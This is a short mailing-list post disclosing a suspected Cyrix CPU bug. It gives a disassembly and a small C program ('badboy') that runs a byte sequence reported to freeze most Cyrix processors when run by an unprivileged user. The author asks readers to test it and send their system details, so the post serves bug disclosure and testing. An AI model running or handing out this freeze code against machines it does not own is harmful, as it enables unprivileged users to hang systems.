Cyrix bug: freeze in hell, badboy

[tech.support () REDESTB ES (Ragnar Hojland Espinosa)]

I emailed Cyrix a few months ago, and even managed to get a "oh, we will
look at it" thanks to Rafael Reilova, but that was it till today.  A
couple of people did report it, effectively, froze (most of) their Cyrix
CPUs while running the opcodes below as non priviledged user.

While I don't have the enough knowledge to assure this _is_ a CPU bug, it
certainly looks like one to me (NO_LOCK isn't a workaround, btw).

0x804a368 <the_data>:   cwtl
0x804a36a <the_data+2>: orl    $0xe6ebe020,%eax
0x804a36f <the_data+7>: jle    0x804a368 <the_data>

Here is the code (tested with linux, any version):

/* Please compile without optimizations */
unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };

void (*badboy)();
int main (int argc, char **argv)
{
   badboy = (void(*)())(the_data);
   asm ("movl badboy,%eax");
   asm ("call *%eax");

   return 0;
}

If you try it, please send me your /proc/{cpuinfo,version} and if it
freezes or not.
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____/|  Ragnar Hojland  (ragnar () lightside ddns org)      Fingerprint  94C4B
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